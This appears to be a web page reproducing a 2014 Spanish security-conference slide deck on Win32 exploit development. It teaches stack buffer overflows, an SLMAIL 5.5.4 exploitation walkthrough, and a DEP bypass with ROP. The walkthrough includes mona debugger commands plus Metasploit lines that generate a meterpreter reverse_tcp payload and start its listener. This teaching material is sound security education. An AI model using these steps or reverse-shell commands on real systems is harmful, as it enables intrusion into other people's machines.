PDF de programación - Desarrollo de Exploits en Win32

Imágen de pdf Desarrollo de Exploits en Win32

Desarrollo de Exploits en Win32gráfica de visualizaciones

Publicado el 14 de Septiembre del 2017
935 visualizaciones desde el 14 de Septiembre del 2017
1,4 MB
25 paginas
Creado hace 9a (15/12/2014)
La defensa del patrimonio tecnológico
frente a los ciberataques

10 y 11 de diciembre de 2014

Desarrollo de Exploits en Win32

© 2014 Centro Criptológico Nacional

C/Argentona 20, 28023 MADRID

www.ccn-cert.cni.es

VIII JORNADAS STIC CCN-CERT

Ignacio Sorribas Mollar

Wise Security Global

[email protected]
@NachoSorribas

www.ccn-cert.cni.es

2

VIII JORNADAS STIC CCN-CERT

Conceptos

• Vulnerabilidad: condición que puede llevar a la explotación de un

software.

• Exploit: Código que aprovecha una vulnerabilidad en una aplicación
para realizar operaciones controladas por el atacante (ejecución de
código).

• Payload/ Shellcode: Código máquina que el exploit inyecta en la

memoria del proceso vulnerable. Antiguamente creaba o devolvía una
Shell.

• Buffer overflow (BOF): Desbordamiento de buffer. Condición que
permite introducir datos en una zona de memoria de un tamaño
superior al que tamaño máximo establecido para dicha zona.

VIII JORNADAS STIC CCN-CERT

Arquitectura x86

• Anillos de privilegio del Sistema

• 32 bit = 4Gb de RAM

operativo



• Procesos mapeados de

0x00000000 a 0x7fffffff

• Espacio memoria para cada

proceso y thread (stack, heap,
.data, etc)

• Mapeo ficheros PE

• header(R)

• .text(RX)

• .reloc(R)

• .data(RW)

• Las llamadas a sistema permiten

acceder de ring3 a ring0



VIII JORNADAS STIC CCN-CERT

La pila

• Estructura LIFO

• Asignada por SO para cada

thread

• Crece hacia direcciones de

memoria menores

• Variables locales, argumentos,

punteros a función, etc

• PUSH apila, POP des apila

• ESP marca la cima de la pila



VIII JORNADAS STIC CCN-CERT

Registros de CPU

EIP: Puntero a próxima instrucción (de solo lectura, contiene la dirección
absoluta de la próxima instrucción a ejecutar por la CPU).



8 Registros de propósito general (parte del contexto del thread):

• EAX: Acumulador (suele almacenar el resultado de los cálculos de la CPU).

• EBX: Registro Base Extendido (apoyo para acelerar cálculos).

• ECX: Contador (suele utilizarse en bucles).

• EDX: Datos (extensión de eax para cálculos más complejos).

• ESP: Puntero de pila (indica la cima de la pila).

• EBP: Frame Pointer (indica la base del frame de la pila).

• ESI: Source Index (localización de los datos de entrada).

• EDI: Destination Index (Destino donde se almacenaran los datos).



VIII JORNADAS STIC CCN-CERT

Registros de CPU

Registros de segmento:

• CS: Code segment (base de la sección “.text”).
• DS: Data segment (base de la sección “.data”).
• ES: Extra segment (para operaciones con strings).
• SS: Stack segment (base de la pila).
• FS: Extra
• GS: Extra


Registro EFLAGS (32 bits divididos de la siguiente forma):

• CF (Carry flag).
• ZF (Zero flag).
• PF (flag de paridad).
• SF (flag de signo).
• DF (Direction flag).



VIII JORNADAS STIC CCN-CERT

CPU



¿Cómo se almacenan los datos en memoria?

• x86 utiliza “Little Endian”.

• El valor 0x12345678 se almacenará en memoria como

“\x78\x56\x34\x12”.



VIII JORNADAS STIC CCN-CERT

¿qué pasa dentro de un programa?

• Inicio función  prólogo
• Fin función  epílogo



• El “prólogo” guarda el estado de la CPU para devolver el flujo de

ejecución al terminar. (puntero próxima instrucción).

• El “epílogo” restaura el flujo de ejecución anterior a la llamada a la
función (copia en EIP el valor que almacenó el prólogo en la pila).



Ejemplo

VIII JORNADAS STIC CCN-CERT

• Los argumentos se introducen

en la pila en orden inverso.



VIII JORNADAS STIC CCN-CERT



• Se guarda EBP



• La llamada “call” guarda la
dirección de retorno (saved
EIP)



VIII JORNADAS STIC CCN-CERT

• Se fija el nuevo frame de pila

• Se reserva espacio para las

variables locales



Al finalizar la función se ejecuta el epílogo (leave)


VIII JORNADAS STIC CCN-CERT

• Se mueve ESP a la base de la pila

• En EBP se restaura el EBP anterior



VIII JORNADAS STIC CCN-CERT

• Instrucción “ret” copia en EIP el dword del tope de la pila

VIII JORNADAS STIC CCN-CERT

• Ovewrite saved EIP: el objetivo es sobrescribir el valor almacenado por

la instrucción “call” en pila, para que “ret” lo restaure en EIP y nos
otorgue el control de la ejecución.



VIII JORNADAS STIC CCN-CERT

• Tenemos el control de EIP



VIII JORNADAS STIC CCN-CERT

Contramedidas

• Stack Cookies

• ASLR

• SafeSeh

• HW DEP/NX



VIII JORNADAS STIC CCN-CERT

SLMAIL 5.5.4 Exploit

Pasos:

• Encontrar un buffer que permita el desbordamiento.

• Encontrar la distancia desde el principio del buffer que permite

sobrescribir el valor de EIP almacenado en pila (offset).



Localizar un espacio de memoria que controlemos donde podamos
almacenar nuestro “shellcode".

• Averiguar los caracteres no válidos (Bad characters).

• Modificar el valor del EIP guardado en pila para saltar a la zona

donde hemos inyectado el shellcode.



Configuración de “mona” en Immunity Debugger:

!mona config -set workingfolder c:\logs\%p





VIII JORNADAS STIC CCN-CERT

• Encontrar la vulnerabilidad



• Encontrar la distancia desde el principio del buffer que permite sobrescribir el valor

VIII JORNADAS STIC CCN-CERT

de EIP almacenado en pila (offset).




!mona pattern_create 6000
!mona findmsp



• Comprobar que las distancias son correctas.



• Descartar “Bad Chars”.

!mona bytearray
!mona compare -f “c:\logs\SLMAIL\bytearray.bin” -a 0xXXXXXX
!mona bytearray -cpb ‘\x00\x…’

(bytearray.txt & bytearray.bin)







• Encontrar espacio para nuestro shellcode

• Generar meterpreter/reverse_tcp payload (ver tamaño)

• msfpayload windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx R |

msfencode -b ‘\xXX’ -e x86/shikata_ga_nai -t c


• Encontrar puntero para saltar al shellcode



!mona jmp -r ESP



VIII JORNADAS STIC CCN-CERT

• Levantar un “listener” de Metasploit

• msfcli exploit/multi/handler

payload=windows/meterpreter/reverse_tcp
LHOST=192.168.65.156 EXITFUNC=thread E

• Comprobar que todo funciona OK.

• Breakpoint en el salto.

• ¿Saltamos al Shellcode?

• ¿Funciona? ¿por qué?



VIII JORNADAS STIC CCN-CERT

DEP (Data Execution Prevention)

• Activación:



VIII JORNADAS STIC CCN-CERT

Ahora nuestro exploit no funciona:



• DEP no permite que se ejecute código en la pila.

• Podemos llamar a punteros a instrucciones

• ROP Gadgets, instrucciones seguidas de “ret”



• Windows ofrece funciones que permiten modificar el comportamiento

de DEP en zonas de memoria específicas.

• VirtualAlloc

• VirtualProtect

• ….



VIII JORNADAS STIC CCN-CERT

Pasos para construir un exploit con DEP Bypass

• Buscar un “rop chain” que ejecute VirtualAlloc





!mona rop

!mona rop –cpb ‘\x00\x0a\x0d’ -m msvcrt.dll

• Poner a continuación el shellcode.

• Sustituir la instrucción “jmp esp” apuntada por EIP por una instrucción

“ret” (la sacamos de rop.txt)



E-Mails

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

Websites

www.ccn.cni.es

www.ccn-cert.cni.es

www.oc.ccn.cni.es



Síguenos en Linked in
  • Links de descarga
http://lwp-l.com/pdf6941

Comentarios de: Desarrollo de Exploits en Win32 (0)


No hay comentarios
 

Comentar...

Nombre
Correo (no se visualiza en la web)
Valoración
Comentarios...
CerrarCerrar
CerrarCerrar
Cerrar

Tienes que ser un usuario registrado para poder insertar imágenes, archivos y/o videos.

Puedes registrarte o validarte desde aquí.

Codigo
Negrita
Subrayado
Tachado
Cursiva
Insertar enlace
Imagen externa
Emoticon
Tabular
Centrar
Titulo
Linea
Disminuir
Aumentar
Vista preliminar
sonreir
dientes
lengua
guiño
enfadado
confundido
llorar
avergonzado
sorprendido
triste
sol
estrella
jarra
camara
taza de cafe
email
beso
bombilla
amor
mal
bien
Es necesario revisar y aceptar las políticas de privacidad